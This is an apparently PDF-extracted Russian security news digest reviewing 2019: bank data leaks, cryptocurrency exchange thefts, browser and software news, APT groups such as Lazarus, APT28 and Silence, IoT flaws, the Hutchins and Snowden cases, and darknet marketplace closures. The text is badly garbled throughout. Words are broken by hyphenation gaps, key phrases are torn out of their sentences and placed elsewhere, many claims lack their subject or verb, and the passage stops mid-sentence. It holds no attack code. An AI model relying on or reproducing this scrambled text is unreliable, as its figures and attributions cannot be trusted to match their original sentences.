взло мал  более  6000  учет ных  записей

Сот рудник  ком пании  Trend  Micro    лич ную  информа‐ 
цию  68  тысяч  кли ентов  (менее  1%  от  общей  две над цатимил лион ной  поль‐ 
зователь ской  базы  ком пании).  В  ито ге  в  рас поряже нии  прес тупни ков  ока‐ 
зались име на кли ентов, адре са элек трон ной поч ты, номера заявок, подан ных
в служ бу под дер жки, а в некото рых слу чаях и номера телефо нов.

про дал  мошен никам

Ле том и осенью 2019  года СМИ сооб щили о серии  уте чек дан ных,  которые
были  допуще ны  круп ными  рос сий ски ми  бан ками  и  ком пани ями.  В  их  чис ле
были:

  и  кли ентах 
  Про давец,  опуб ликовав ший  соот ветс тву ющее  объ‐ 

явле ние на одном хакер ском форуме, заявил, что у него есть све жие дан‐ 
ные при мер но 3500  кли ентов бан ка  и  око ло 3000  кли ентов  «Аль фаС тра‐ 
хова ния»;

• дан ные  о  вла дель цах  кре дит ных  карт  «Аль фа‐бан ка»
«АльфаСтрахования».

: в общей слож ности 5000 строк дан ных;• ин форма ция о вклад чиках ВТБ
со обща лось,  что  на  чер ном  рын ке  про дают ся 

,  вклю чая  информа цию  о  60 мил лионах  карт  (как  дей ству ющих,  так
и  зак рытых —  в  нас тоящее  вре мя  у  бан ка  око ло  18 мил лионов  активных
карт). Сна чала пред ста вите ли бан ка  , одна ко заяви‐ 
ли, что проб лема кос нулась толь ко 200 человек. Затем  , что
в кон це сен тября 2019 года сот рудник бан ка нес коль кими тран шами про‐ 
дал  одной  из  прес тупных  групп  в  дар кне те  в  совокуп ности  5000  учет ных
записей  кре дит ных  карт  Ураль ско го  бан ка  Сбер банка,  зна читель ное
количес тво из которых были уста рев шими и неак тивны ми;

• дан ные  кли ентов  Сбер‐ 
банка

приз нали факт утеч ки
ста ло извес тно

че рез некото рое вре мя у Сбер банка про изош ла еще одна утеч ка дан ных.
На этот раз в Сети появи лась БД, содер жащая пер сональ ные дан ные кли‐ 
ентов Сбер банка, но так же покупа телям дам па пред лагали и запись пос‐ 
ледне го    бан ка.  В  пресс‐служ бе
Сбер банка новую утеч ку отри цали;

•

раз говора  поль зовате ля  с  кол‐цен тром

по информа ции ком пании DeviceLock, в Сети про дают базу дан ных с 
,  содер жащую  70  тысяч  строк  (по

цене 5000 руб лей за стро ку);

• ин‐ 
форма цией  о  кли ентах  «Бин банка»

еще одна утеч ка кос нулась при мер но 900 тысяч человек, и в обна ружен‐ 
ные БД вклю чены дан ные о номерах телефо нов, пас портах, мес тах работы
кли ентов  ;

•

Аль фа‐бан ка, ОТП‐бан ка и ХКФ‐бан ка
в Сети наш ли базу дан ных, содер жащую информа цию поч ти о 9 мил лионах

, под клю чив ших домаш ний интернет;
•
поль зовате лей «Билайн»
ло гины  и  пароли  при мер но    попали  в  откры тый
дос туп,  но  пред ста вите ли  ком пании  завери ли,  что  файл,  о  котором шла
речь, ходит по Сети уже дос таточ но дав но и содер жит очень ста рые дан‐ 
ные.

• 450  тысяч  кли ентов Ozon

КРИПТА
По   ана лити чес кой фир мы Chainalysis, все го две хакер ские груп‐ 
пы  ответс твен ны  за  60%  пуб лично  извес тных  инци ден тов,  свя зан ных  с  ата‐ 
ками на крип товалют ные бир жи. Иссле дова тели под счи тали, что прес тупни ки
похити ли уже око ло мил лиар да дол ларов.

ин форма ции

GitHub‐акка унт  раз работ чиков  крип товалю ты  Denarius  был  ,  и  в
Windows‐кли ент крип товалют ного про екта внед рили мал варь AZORult.

взло ман

Поль зовате ли кошель ков Electrum   от необыч ной фишин говой
ата ки, сум марно лишив шись более 4,6 мил лиона дол ларов. Зло умыш ленни ки
обру шили на сер веры Electrum DDoS‐ата ку, и в резуль тате сер веры кошель ка
ока зыва лись недос тупны ми для поль зовате лей, кли енты авто мати чес ки иска‐ 
ли  дру гие  вари анты  для  под клю чения  и  находи ли  лишь  вре донос ные  ноды
ата кующих.

пос тра дали

В  нояб ре  ,  пре дос тавля ющий
бинар ники для Linux и Windows, был ском про мети рован и рас простра нял мал‐ 
варь,  вору ющую  средс тва  поль зовате лей.  Как  минимум  один  поль зователь
писал на Reddit, что потерял средс тва в резуль тате дан ной ата ки, тем самым
под тверждая, что мал варь была нацеле на на кра жу крип товалю ты.

офи циаль ный  сайт  крип товалю ты  Monero

Так же  ата кам  раз ной  сте пени  тяжес ти  под вер глось  мно жес тво  крип‐ 
товалют ных обменни ков. Ниже перечис лим толь ко некото рые их них.

Крип товалют ная  бир жа  Cryptopia  ,  что  понес ла  «зна читель ные
убыт ки» в резуль тате кибера таки. Спе циалис ты  , что даже спус тя
нес коль ко  недель,  нев зирая  на  все  конт рме ры  со  сто роны  раз работ чиков,
зло умыш ленни ки про дол жали гра бить обменник.

со общи ла
ут вер жда ли

Крип товалют ная  бир жа  Bithumb    в  тре тий  раз
за  пос ледние  два  года.  Так,    Bithumb  про изо шел  еще  в
июле  2017  года,  и  тог да  со  сче тов  ресур са  было  похище но  неиз вес тное
количес тво  Bitcoin  и  Ethereum  (на  нес коль ко  мил лионов  дол ларов). 

 слу чил ся летом 2018 года, и зло умыш ленни ки похити ли 35 мил лиар дов
вон, то есть око ло 31 мил лиона дол ларов в крип товалю те (пре иму щес твен но
Ripple).  В  резуль тате  треть его  взло ма  с  горяче го  кошель ка  бир жи  вывели
более 3 мил лионов  токенов EOS  (око ло 13 мил лионов дол ларов) и 20 мил‐ 
лионов  токенов  Ripple  (при мер но  6  мил лионов  дол ларов).  Взлом щики
переве ли  похищен ные  средс тва  на  раз личные  пло щад ки,  вклю чая  Huobi,
HitBTC, WB, EXmo.

под вер глась  кибера таке
пер вый  взлом

Вто рой
взлом

Бо лее  100  тысяч  поль зовате лей  канад ской  крип товалют ной  бир жи  Quadri‐
gaCX   к сво им средс твам. Дело в том, что соз датель ресур‐ 
са Дже ральд Кот тен (Gerald Cotten) скон чался, а пос ле его смер ти ока залось,
что он был единс твен ным, кто имел дос туп к холод ному кошель ку бир жи.

ли шились дос тупа

Не извес тным  зло умыш ленни кам    с  горяче го  кошель ка
син гапур ской  крип товалют ной  бир жи  Bitrue  9,3  мил лиона  токенов  Ripple
(XRP)  и  2,5  мил лиона  токенов  Cardano  (ADA)  общей  сто имостью  4,25  мил‐ 
лиона дол ларов и 225 тысяч дол ларов соот ветс твен но. Про изо шед шее ста ло
вто рой  кибера такой  на  Bitrue  в  2019  году.  В  начале  года  бир жа  ока залась
жер твой  ата ки  51%,  в  ходе  которой  зло умыш ленни ки  пытались
похитить 13  тысяч  токенов Ethereum Classic  (ETC),  но  тог да подоз ритель ную
активность обна ружи ли вов ремя и ата ку уда лось пре дот вра тить.

уда лось  похитить

  под вер глась  инфраструк тура  одной  из  круп ней‐ 
ших в Япо нии крип товалют ных бирж, Bitpoint. Ата ка зат ронула как горячие, так
и холод ные кошель ки бир жи, в резуль тате чего было укра дено 3,5 мил лиар да
иен  (око ло  32  мил лионов  дол ларов)  в  крип товалю тах  Bitcoin,  Bitcoin  Cash,
Litecoin, Ripple и Ethereal. При этом толь ко 2,5 мил лиар да иен  (23 мил лиона
дол ларов)  при над лежали  кли ентам  бир жи,  осталь ными  средс тва ми  вла дел
сам обменник (это были резер вные фон ды и при быль).

Пол ной  ком про мета ции

Проб лемы  не  обош ли  сто роной  и  одну  из  круп ней ших  крип товалют ных
бирж  мира  —  Binance.  Так,  в  мае  у  поль зовате лей  ресур са 

 дол ларов в ходе мас штаб ной и тща тель но спла ниро ван‐ 
ной  ата ки,  а  в  августе  в  Сети  начали  рас простра нять ся  дан ные  KYC  (Know
Your  Customer),  яко бы  укра ден ные  у  Binance,  за  которые  зло умыш ленни ки
поп росили выкуп. В конеч ном ито ге пред ста вите ли бир жи 

 утеч ку KYC‐дан ных и пред ложили воз награж дение в раз мере до 25 BTC
за  любую  информа цию,  которая  поможет  иден тифици ровать  неиз вес тно го
вымога теля и передать его в руки пра воох ранитель ных орга нов.

по хити ли
более 41 мил лиона

час тично под твер‐ 
дили

СОФТ
В  Chrome    встро енный  бло киров щик  рек ламы,  и  раз работ чики
Chromium     в код. Из‐за это го работа дру гих бло‐ 
киров щиков и защит ных рас ширений  .

за рабо тал
вно сят тре вож ные изме нения

ока залась под боль шим воп росом
Раз работ чики Opera, Brave и Vivaldi  , что не намере ны

под держи вать взя тый Google курс на борь бу с бло киров щиками.
офи циаль но заяви ли

На фоне шква ла кри тики, обру шив шегося на ком панию Google, доволь но
инте рес но  выг лядит  ситу ация,  сло жив шаяся  вок руг  ком пании  Apple.  Дело
в том, что Apple точ но так же   и дру гих рас‐ 
ширений в Safari, одна ко ник то не обра тил вни мания на это и не воз мутил ся.

ог раничи ла работу бло киров щиков

Пред ста вите ли  Агентства  наци ональ ной  безопас ности  США  объ яви ли
об   — инс тру мен та, который сами спец служ‐ 
бы при меня ют для обратно го инжи нирин га уже око ло двад цати лет. Напом ню,
что  широкая  общес твен ность  узна ла  о  Ghidra  в  2017  году,  бла года ря
докумен там Vault7, опуб ликован ным WikiLeaks. Впро чем, до это го факт сущес‐ 
тво вания Ghidra тоже не был засек речен. Мы пос вятили изу чению Ghidra 

  .

от кры тии исходных кодов Ghidra

нес‐ 
коль ко ста тей

Вы ясни лось,  что  каж дое  пятое  бес плат ное  VPN‐при ложе ние  для  Android
из  чис ла  150  самых  популяр ных  в  катало ге Google Play может 

 для поль зовате лей.
пред став лять

опас ность
Ис сле дова тели  из  AV‐Comparatives    250  популяр ных  защит ных

при ложе ний из офи циаль ного катало га Google Play и приш ли к неуте шитель‐ 
ным выводам:  поч ти  две  тре ти  анти виру сов для Android  не  выпол няют  заяв‐ 
ленных в их рек ламе фун кций. Хуже того, порой такие при ложе ния называ ют
мал варью сами себя, не «видят» нас тоящих угроз и, по сути, не дела ют ничего
полез ного вов се.

изу чили

 и   вклю чили для мно гих поль зовате лей про токол DNS‐over‐
HTTPS (DoH) и про водят тес тирова ние. Вся суть нового про токо ла отра жена
в его наз вании: он отправ ляет DNS‐зап росы на спе циаль ные DoH‐сов мести‐ 
мые DNS‐сер веры через зашиф рован ное соеди нение HTTPS, но не исполь‐ 
зует  клас сичес кие  незашиф рован ные  UDP‐зап росы.  Кро ме  того,  DoH
работа ет  на  уров не  при ложе ний,  а  не  на  уров не  ОС.  По  сути,  он  скры вает
DNS‐зап росы внут ри обыч ного потока HTTPS‐дан ных.

Chrome Firefox

Раз работ чики бра узе ра Vivaldi приз нали, что с релиза вер сии 2.10 их бра‐ 
узер  ,  что бы  поль зовате ли  мог ли  получить  дос туп
к  сай там,  которые  в  про тив ном  слу чае  нес пра вед ливо  их  бло киру ют.
Это будет реали зова но путем замены user‐agent. Девело перы отме чают, что
некото рые  бло киру ют  Vivaldi  из‐за  нежела ния  раз бирать ся  с  воз можны ми
ошиб ками,  тог да  как  круп ные  тех нологи чес кие  ком пании,  такие  как  Google
и Microsoft, уже дав но саботи руют подоб ным обра зом работу кон курен тов.

мас киру ется  под  Chrome

APT
В  фев рале  2019  года  ана лити ки  ком пании  Check  Point  пре дуп редили,  что
северо корей ская  хак‐груп па  Lazarus  (она  же  HIDDEN  COBRA,  Guardians
of Peace, ZINC, NICKEL ACADEMY и APT38) 

.  Иссле дова тели  уве ряли,  что  это  бес пре цеден тный  и  пер вый  зафик‐ 
сирован ный слу чай, так как чаще все го Lazarus ата куют цели в Южной Корее
и Япо нии.

на чала ата ковать рос сий ские ком‐ 
пании

Хак‐груп па Winnti,  впер вые обна ружен ная  еще  в  2011  году,  по‐преж нему
активна,  и  ,  из‐за  чего  про исхо дят
ата ки на цепоч ку пос тавок. По информа ции иссле дова телей ESET, зло умыш‐ 
ленни ки  успешно  инфи циро вали  бэк дорами  как  минимум  две  игры  и  одну
игро вую  плат форму,  из‐за  чего  пос тра дали  десят ки  или  даже  сот ни  тысяч
поль зовате лей.

ее  целями  ста новят ся  игро вые  ком пании

Эк спер ты ком пании FireEye замети ли, что  .
Теперь вмес то исполь зования при выч ной PoS‐мал вари Trinity зло умыш ленни‐ 
ки ста ли при менять в сво их опе раци ях и шиф роваль щики Ryuk и LockerGoga.

хак‐груп па FIN6 сме нила так тику

Спе циалис ты  «Лабора тории  Кас пер ско го»  рас ска зали  об  инте рес ном
шпи онском  ,  обна ружен ном  осенью  2018  года  в  ходе
ата ки  на  дип ломати чес кую  орга низа цию,  при над лежащую  одной  из  стран
Цен траль ной  Азии.  В  арсе нал  зло умыш ленни ков  вхо дят  бэк доры,  лоаде ры,
оркес тра торы, средс тва для записи аудио, перех вата нажатий кла виш, изоб‐ 
ражения с экра на и камер, хищения докумен тов и крип тогра фичес ких клю чей
и мно гое дру гое.

фрей мвор ке  TajMahal

Нек то Lab Dookhtegan   в откры том дос тупе инс тру мен ты иран‐ 
ской  APT34,  а  так же  информа цию  о  жер твах  хакеров  и  сот рудни ках Минис‐ 
терс тва  информа ции  и  наци ональ ной  безопас ности  Ира на,  которые  яко бы
свя заны с опе раци ями груп пиров ки. Эти «сли вы» дан ных 
: в дар кне те и в Telegram была опуб ликова на информа ция о деятель нос ти

групп  MuddyWater  и  Rana  Institute,  а  затем  выложен  еще  один  инс тру мент,
при над лежащий APT34, —  .

опуб ликовал

про дол жились поз‐ 
же

ути лита Jason
Да же  пос ле  арес та  лидера  груп пиров ки  Fin7  иссле дова тели  обна ружи ли

, за которы ми сто яли учас тни ки этой хак‐груп пы.
Более  того,  методы  атак  груп пы  усложни лись.  Экспер ты  полага ют,  что
Fin7 мог ла уве личить чис ло ата кующих групп, работа ющих под ее «зон тичным
брен дом», и с боль шой веро ятностью про дол жила прак тику най ма сот рудни‐ 
ков под видом впол не офи циаль ного секь юри ти‐вен дора.

нес коль ко новых инци ден тов

Ки тай ская  хак‐груп па Buckeye  (она же APT3, Gothic Panda,  TG‐011 и UPS)
хорошо извес тна пра воох раните лям все го мира. Счи тает ся, что она активна
как  минимум  с  2009  года,  свя зана  с  Минис терс твом  государс твен ной
безопас ности  КНР  и  дей ству ет  через  Центр  оцен ки  информа цион ных  тех‐ 
нологий  Китая  (CNITSEC),  а  так же  Центр  безопас ности  ITSEC  в  Гуан дуне.
От атак Buckeye стра дали такие ком пании, как Siemens и Trimble. Теперь ком‐ 
пания  Symantec    край не  инте рес ный  факт:  Buckeye  при меня ла
извес тный  бэк дор  DoublePulsar  еще  в  мар те  2016  года,  то  есть  задол го
до того, как он «утек» у аме рикан ских спец служб.

вы ясни ла

Эк сперт  ком пании  NewSky  Security  Анкит  Ануб хав  (Ankit  Anubhav)  обна‐ 
ружил,  что  неиз вес тная  груп па  иран ских  хакеров  ата кует 

. Для этой кам пании зло умыш ленни ки экс плу ати руют
неис прав ленную  уяз вимость.  Неяс но,  как  имен но  они  намере ны  исполь‐ 
зовать свои бэк доры. Ануб хав допус кает два воз можных сце нария. В пер вом
слу чае зло умыш ленни ки могут попытать ся извлечь хеши сек вениро вания ДНК
из  БД  при ложе ния.  Во  вто ром  слу чае  зло умыш ленни ки  могут  сде лать
заражен ные сер веры частью бот нета или исполь зовать shell’ы для уста нов ки
май неров крип товалю ты на взло ман ные сис темы.

веб‐при ложе ния
для сек вениро вания ДНК

Груп пиров ка Xenotime, сущес тву ющая как минимум с 2017 года и ответс‐ 
твен ная за ата ки мал вари Triton (он же Trisis),   и «про щупы вает»
энер госети  в  США  и  Ази атско‐Тихо океан ском  реги оне.  Зло умыш ленни ки
дей ству ют раз ными метода ми, но в целом исполь зуют те же так тики, которые
обыч но при меня ют про тив неф тегазо вого сек тора.

вновь активна

Груп пиров ка  Intrusion  Truth  про дол жила  деано ними зиро вать  китай ских
«пра витель ствен ных  хакеров».  На  этот  раз    о  пред‐ 
полага емых  чле нах  APT17.  Intrusion  Truth  пуб лику ет  свои  разоб лачения
и  деано ними зиру ет  учас тни ков  китай ских  кибер шпи онских  групп  уже  тре тий
раз.

об народо ваны  дан ные

Спе циалис ты  Microsoft  Threat  Intelligence  Center  пре дуп редили  об  изме‐ 
нени ях в «почер ке» извес тной рус ско языч ной хак‐груп пы APT28 (она же Fancy
Bear, Pawn Storm, Strontium, Sofacy, Sednit и Tsar Team). Хакеры все чаще 

 (будь то VoIP‐телефо ны, прин теры
или  дру гие  IoT‐девай сы),  что бы  про ник нуть  в  кор поратив ную  сеть  и  там
перек лючить ся на дру гие, более зна чимые цели.

ком‐ 
про мети руют устрой ства интерне та вещей

Ана лити ки  Group‐IB  ,  что  под твержден ная  сум ма  хищений,
совер шенных  рус ско языч ной  хак‐груп пой  Silence  с  июня  2016  года
по июнь 2019  года,  сос тавля ет  не менее 272 мил лионов руб лей. Жер тва ми
Silence  ранее  ста нови лись  рос сий ские  бан ки,  одна ко  в  новом  отче те  фик‐ 
сиру ется  зна читель ное  рас ширение  геог рафии  их  прес тупле ний:  ана лити ки
Group‐IB выяви ли ата ки Silence более чем в 30 стра нах Евро пы, Азии и СНГ.

под счи тали

Об наружен ная  в  этом  году    дей ству ет  с  2016  года
и  нацеле на  на  государс твен ные  учрежде ния.  В  нас тоящее  вре мя  груп па
активна на тер ритории шес ти стран: по дан ным экспер тов, от дей ствий груп‐ 
пиров ки  уже  пос тра дали  орга низа ции  из  Индии  (34%  жертв),  Бра зилии,
Казах ста на  (по  18%),  Рос сии,  Таилан да  (по  12%)  и  Тур ции  (6%).  APT‐груп‐ 
пиров ка пред положи тель но име ет ази атские кор ни и отно сит ся к чис лу китай‐ 
ско гово рящих.

хак‐груп па  Calypso

Вы явле на  груп пиров ка  ,  которая  упо мина лась  сре ди дан ных,
похищен ных у АНБ хакера ми из ShadowBrokers.

DarkUniverse

На пом ню, что в апре ле 2017 года хак‐груп па ShadowBrokers опуб ликова ла
оче ред ной  дамп  дан ных,  похищен ных  у  АНБ.  Дамп  был  наз ван  «Труд ности
перево да» (Lost in Translation) и сре ди про чего содер жал скрипт sigs.py, ищу‐ 
щий в ском про мети рован ной сис теме сле ды при сутс твия 44 раз личных APT.
Ана лити ки  «Лабора тории  Кас пер ско го»  обна ружи ли  APT,  опи сан ную  27‐й
фун кци ей это го скрип та. Груп пиров ку наз вали DarkUniverse, сооб щает ся, что
она  оста валась  незаме чен ной  по  край ней  мере  восемь  лет
(с 2009 по 2017 годы).

IOT
В пред две рии лет них Олим пий ских игр 2020, которые прой дут в Токио, влас ти
Япо нии  хотят  обе зопа сить  поль зователь ские  устрой ства.  Для  это го  влас ти

 втор гать ся на IoT‐устрой ства ради улуч шения их безопас ности.пла ниру ют
Об ладате ли  самозаш нуровы вающих ся  крос совок Nike  Adapt  BB 

,  что  офи циаль ное  при ложе ние  прек ратило  работать,  а  пос ле
обновле ний обувь вооб ще перес тала «отве чать». «Спа рить» крос совки с при‐ 
ложе нием не получа ется, и при обновле нии мно гие стол кну лись с ошиб ками,
пос ле которых пра вый или левый крос совок «прев ращались в кир пич» и никак
не реаги рова ли на дей ствия поль зовате ля.

по жало‐ 
вались

Бо лее 600 тысяч GPS‐тре керов T8 Mini, про изво димых китай ской IoT‐ком‐ 
пани ей  Shenzhen  i365‐Tech  и  при меня ющих ся  для  монито рин га  мес тополо‐ 
жения детей, пожилых людей, домаш них живот ных, авто моби лей, исполь зуют

. В ито ге зло умыш ленни ки могут под слу шать раз говоры рядом
с GPS‐тре кером,  под делать  реаль ное  мес тополо жение  устрой ства,  а  так же
узнать номер при лага емой к тре керу SIM‐кар ты.

па роль 123456

Echobot,  новая  вари ация  бот нета  Mirai,  нацелен  на  более  чем  50  раз‐ 
личных  уяз вимос тей  и  уже    более  34%  ком паний  по  все му
миру. Осо бен но активно мал варь экс плу ати рует проб лемы уда лен ного внед‐ 
рения команд (Command Injection Over HTTP). Судя по все му, опе рато ры мал‐ 
вари пус тили в дело все воз можные пуб лично дос тупные экс пло иты для дав но
извес тных уяз вимос тей, часть из которых датиро ваны 2010 годом.

ус пел  зат ронуть

ЛЮДИ
Аме рикан ские  влас ти    выход  мему аров  Эдварда
Сно уде на,  получив ших  наз вание  Permanent  Record.  Влас ти  не  попыта лись
вос пре пятс тво вать  рас простра нению  кни ги,  вмес то  это го  Минис терс тво
юсти ции США подало граж дан ский иск про тив Сно уде на за наруше ние сог‐ 
лашений  о  нераз гла шении,  которые  тот  неког да  под писывал  с  АНБ  и  ЦРУ.
Минюст не пытал ся бло киро вать рас простра нение самой кни ги, но поп росил
суд передать влас тям все средс тва, выручен ные от ее про даж.

не  оста вили  без  вни мания

В  декаб ре  2019  года  федераль ный  суд  в  Вир джи нии  :
судья сог ласил ся с мне нием аме рикан ских влас тей и счел, что Эдвард Сно‐ 
уден  дей стви тель но  нарушил  сог лашения  с  АНБ  и  ЦРУ,  а  зна чит,  не  име ет
пра ва зараба тывать на авто биог рафии.

вы нес  решение

Брай ан  Эктон  (Brian  Acton),  один  из  соос новате лей  мес сен дже ра  What‐
sApp, теперь при над лежаще го ком пании Facebook, про дол жает выс казывать‐ 
ся о  соци аль ной  сети  в  край не  . Эктон  покинул  ком панию
еще в 2017 году, незадол го до стар та монети зации мес сен дже ра. И во вре мя
лек ции в Стэн форд ском уни вер ситете он рас ска зывал о сво ем решении про‐ 
дать мес сен джер Facebook и в оче ред ной раз приз вал соб равших ся уда лить
свои акка унты в соци аль ной сети. Дело в том, что Эктон убеж ден: для Face‐
book на пер вом мес те сто ит вов се не при ват ность поль зовате лей, а монети‐ 
зация про дук тов.

не гатив ном клю че
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Так же  с  кри тикой  в  адрес  WhatsApp    осно ватель  Telegram  Павел
Дуров. В кон це года в мес сен дже ре наш ли и устра нили кри тичес кую ошиб ку,
при  помощи  которой  зло умыш ленни ки  мог ли  уда лен но  ском про мети ровать
устрой ство  и  похитить  защищен ные  сооб щения  чата  и фай лы. Дуров  еще  в
мае  текуще го  года  пред ска зывал,  что  в WhatsApp  про дол жат  находить  бэк‐ 
доры, и, по его мне нию, мес сен дже ру опре делен но нель зя доверять.

выс тупил

«WhatsApp  не  толь ко  не  защища ет  ваши  сооб щения,  но  и  пос тоян но
исполь зует ся  как  тро янский  конь  для  слеж ки  за  вашими  фотог рафи ями
и сооб щени ями, которые к WhatsApp не отно сят ся», — пишет Дуров и добав‐ 
ляет, что Facebook дав но сот рудни чает со спец служ бами и сле дит за людь ми.

По дош ло  к  кон цу  гром кое  судеб ное  раз биратель ство,  о  котором  мы
писали  неод нократ но.  В  цен тре  скан дала  ока зал ся  25‐лет ний  бри тан ский
ИБ‐спе циалист  Мар кус  Хат чинс,  так же  извес тный  как  MalwareTech.
В 2017  году имен но он    в  коде WannaCry  ава рий ный  «стоп‐кран»
и оста новил рас простра нение мал вари, положив конец эпи демии.

об наружил

Хат чинса   еще в 2017  году,  ког да он при летел в США на кон‐ 
ферен ции  Black  Hat  и  DEF  CON.  Тог да  ФБР  обви нило  спе циалис та  в  соз‐ 
дании  и  рас простра нении  бан ков ско го  тро яна  Kronos  в  2014–2015  годах.
Судья    Мар куса  Хат чинса  к  сро ку  зак лючения,  рав ному  тому,
который тот уже про вел под стра жей, а так же обя зал иссле дова теля в течение
года находить ся под над зором пра воох раните лей. Штра фов на спе циалис та
не наложи ли и раз решили вер нуть ся на родину, в Великоб ританию (веро ятно,
в будущем въезд в США для Хат чинса будет зак рыт из‐за его судимос ти). Так‐ 
же  судья  посове товал  юрис там  экспер та  рас смот реть  воз можность  про‐ 
шения  о  пол ном  помило вании.  Адво каты  наз вали  это  бес пре цеден тным
и пообе щали занять ся этим воп росом.

арес товали

при гово рил

RIP
Пред ста вите ли Microsoft сами   отка зать ся от исполь зования  Inter‐
net Explorer. По их сло вам, это не пол ноцен ный бра узер, а про дукт для  кор‐ 
поратив ных кли ентов, которым при ходит ся иметь дело с legacy‐решени ями.

при зыва ют

Сов мес тная опе рация ФБР и пра воох ранитель ных орга нов ряда евро пей‐ 
ских  стран  при вела  к    тор говой  пло щад ки  xDedic,  на  которой
с 2016 года про дава ли дос туп к взло ман ным сер верам со все го мира.

зак рытию

Опе рато ры  защищен ного  поч тового  сер виса  VFEmail  ,  что  их
ресур су при шел конец и он вряд ли сно ва зарабо тает в пол ном объ еме. Дело
в  том,  что  11  фев раля  2019  года  неиз вес тные  зло умыш ленни ки  про ник ли
на аме рикан ские сер веры про екта и унич тожили там все дан ные, до которых
толь ко  смог ли  доб рать ся.  Взлом щики  бук валь но  отформа тиро вали  дис ки
на всех машинах, и в резуль тате были потеря ны все вир туаль ные машины, все
бэкапы и фай ловый сер вер.

со общи ли

Раз работ чики  сер виса  Coinhive,  который  задумы вал ся  как  легаль ная
и  прос тая  аль тер натива  клас сичес кой  бан нерной  рек ламе,  но  при обрел
огромную  популяр ность  сре ди  прес тупни ков,    сво его
про екта.  Адми нис тра ция  Coinhive  приз нает ся,  что  пос ле  хар дфор ка Monero
хеш рейт упал более чем на 50%. Так же на решение раз работ чиков Coinhive
пов лиял общий  «обвал»  крип товалют ного рын ка,  так  как  XMR потеря ла око‐ 
ло  85%  сто имос ти  по  срав нению  с  2018  годом.  Сер вис  прек ратил  работу
в мар те 2019 года.

со общи ли  о  зак рытии

Один из круп ней ших мар кет плей сов в дар кне те — Dream Market 
 в кон це апре ля. На глав ной стра нице появи лось лаконич ное сооб‐ 

щение о том, что все сер висы перей дут к некой «пар тнерской ком пании», чей
сайт пока даже не зарабо тал. Один из модера торов ресур са писал, что сайт
пос тоян но  стра дал  от  серь езных DDoS‐атак  (у Dream Market  дей стви тель но
наб людались  тех ничес кие  проб лемы).  Пос ле  про дол житель ного  DDoS’а
от  опе рато ров  мар кет плей са  и  вов се  пот ребова ли  за  прек ращение
атак 400 тысяч дол ларов США, но те отка зались пла тить. В ито ге было при‐ 
нято решение передать ресурс «пар тнерской ком пании».

объ явил
о зак рытии

  и  для  еще  одно го  край не  популяр ного  в  дар кне те  мар кет‐ 
плей са — Wall Street Market (WSM). Адми нис тра ция тор говой пло щад ки прис‐ 
воила око ло 30 мил лионов дол ларов поль зователь ских средств и скры лась.
Пос тра дав шими в дан ном слу чае ста ли тор говцы самыми раз ными незакон‐ 
ными товара ми, вклю чая нар котики, ору жие и мал варь.

Ко нец нас тал

Пра воох ранитель ные орга ны   о зак рытии Wall Street Market и Val‐
halla (он же Silkkitie). Мож но толь ко гадать, успе ли адми нис тра торы Wall Street
Market  скрыть ся  с  день гами  поль зовате лей,  как  было  замече но  выше,
или  экзит‐скам  все  же  завер шился  арес том  опе рато ров  пло щад ки,  а  WSM
какое‐то вре мя находил ся под кон тро лем пра воох раните лей.

со общи ли

Ни дер ланд ское  управле ние  по  борь бе  с  финан совыми  прес тупле ниями
(FIOD),  а  так же Евро пол и  пра воох раните ли Люк сембур га  в  резуль тате 

 зак рыли сер вис‐мик шер Bestmixer.io, занимав ший ся отмы‐ 
вани ем крип товалю ты. Bestmixer, запус тивший ся в мае 2018 года, был одним
из  трех  круп ней ших  в  мире  мик шер‐сер висов  и  пред лагал  свои  услу ги
по отмы ванию Bitcoin, Bitcoin cash и Litecoin. За год работы через сайт прош‐ 
ло при мер но 27 тысяч BTC,  то есть поряд ка 200 мил лионов дол ларов США,
а его опе рато ры получа ли око ло 600 тысяч в месяц.

сов‐ 
мес тной опе рации

Дав но  утра тив шая  популяр ность  соци аль ная  сеть MySpace    все
дан ные  поль зовате лей,  заг ружен ные  с  2003  по  2015  годы  (вклю чая музыку,
фотог рафии  и  видео).  Во  вре мя  перено са  информа ции  на  новые  сер веры
дан ные были пов режде ны, и вос ста новить их невоз можно. Оче вид но, бэкапов
у ком пании не было.

по теря ла

Об  ухо де  от  дел  этим  летом    опе рато ры  RaaS  (Ransomware‐as‐a‐
Service) GandCrab. Через RaaS‐пор тал GandCrab зло умыш ленни ки при обре‐ 
тали дос туп к вымога телю GandCrab, а затем рас простра няли опас ную мал‐ 
варь  пос редс твом  спа ма,  наборов  экс пло итов  и  подоб ного.  Ког да  жер твы
шиф роваль щика  пла тили  выкуп  прес тупни кам,  раз работ чики  GandCrab
получа ли  неболь шую  комис сию,  тог да  как  осталь ная  часть  денег  осе дала
в руках «арен даторов» вре доно са.

объ яви ли

В сво ем пос лании раз работ чики GandCrab пох васта лись, что собира ются
«уйти на зас лужен ную пен сию», так как в общей слож ности выкупы при нес ли
прес тупни кам более 2 мил лиар дов дол ларов и опе рато ры получа ли при мер‐ 
но 2,5 мил лиона дол ларов в неделю (150 мил лионов дол ларов в год). Экспер‐ 
ты в области безопас ности сош лись во мне нии, что эти циф ры вряд ли соот‐ 
ветс тву ют дей стви тель нос ти.

Вско ре  пос ле  это го  ИБ‐спе циалис ты 
для  дешиф ровки  дан ных,  пос тра дав ших  в  резуль тате  атак  любых  вер сий
GandCrab.

пред ста вили  новые  инс тру мен ты

Прек ратило  работу  пират ское  .
Это решение было свя зано с дав лени ем со сто роны ком паний, сняв ших такие
лен ты,  как  «Хел лбой»  и  «Падение  анге ла».  Раз работ чик  CotoMovies  при нес
пуб личные  изви нения  соз дателям  филь мов  и  дру гим  пра вооб ладате лям
на  домаш ней  стра нице  про екта.  Опе ратор  при ложе ния  пишет,  что  извлек
уро ки из слу чив шегося и теперь понима ет, какой ущерб могут нанес ти пират‐ 
ские при ложе ния. Он пообе щал не нарушать ничь их автор ских прав и приз вал
поль зовате лей сде лать то же самое.

стри мин говое  при ложе ние  CotoMovies

Поль зовате ли, разуме ется, были разоча рова ны, но, похоже, в будущем их
могут  ждать  и  более  неп рият ные  эмо ции,  свя зан ные  с  CotoMovies.  Дело
в  том,  что  соз датель  при ложе ния  сог ласил ся  передать  поль зователь ские
дан ные  и  сооб щения  пра вооб ладате лям,  что бы  те  смог ли  добить ся  соб‐ 
людения  законов  и  сле дить  за  сво ей  цен ной  интеллек туаль ной  собс твен‐ 
ностью.

Не мец кие  пра воох раните ли  зак рыли  ,
который  базиро вал ся  в  быв шем  воен ном  бун кере  НАТО,  рас положен ном
